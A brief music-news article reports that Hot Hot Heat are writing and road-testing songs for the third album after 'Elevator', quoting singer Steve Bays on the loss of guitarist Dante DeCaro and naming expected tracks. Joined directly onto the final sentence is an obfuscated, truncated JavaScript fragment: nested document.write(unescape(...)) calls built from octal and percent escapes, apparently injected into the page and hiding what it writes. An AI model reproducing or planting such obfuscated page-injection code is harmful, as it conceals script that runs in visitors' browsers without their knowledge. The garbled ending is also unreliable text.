Hot Hot Heat new album

Hot Hot Heat have started writing new material for the follow-up to 2005's 'Elevator'.

The band are preparing to enter the studio on May 1 to record their third album, with a view to release it in September.

Speaking about the writing process, singer Steve Bays said: "The main theme of this album is we wanted to reunite as a gang, not as a band, not as four musicians."

Original guitarist Dante DeCaro left Hot Hot Heat during the recording of 'Elevator' and was replaced with new member Luke Paquin.

"With Dante leaving, it just tore us all apart," Bays explained. "We realized the best music is written when you have no distractions, and all that matters at the end of the day is your gang of friends."

Tracks expected to feature on the record include 'A Good Day to Die', 'Your Mother Told You', 'My Best Friend' , 'Setting Son' and 'Happiness Ltd'.

However, Bays told Rolling Stone that the band plan to road test the new songs through a series of semi-surprise gigs, which they started in their native Canada last month.

"We have a bunch of weird gigs to test out our material," he revealed. "I didn't like that we stopped being a live band while we were writing and recording the last record, so I wanted to stay on tour. Any time we're not writing or recording, we're doing dates."document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;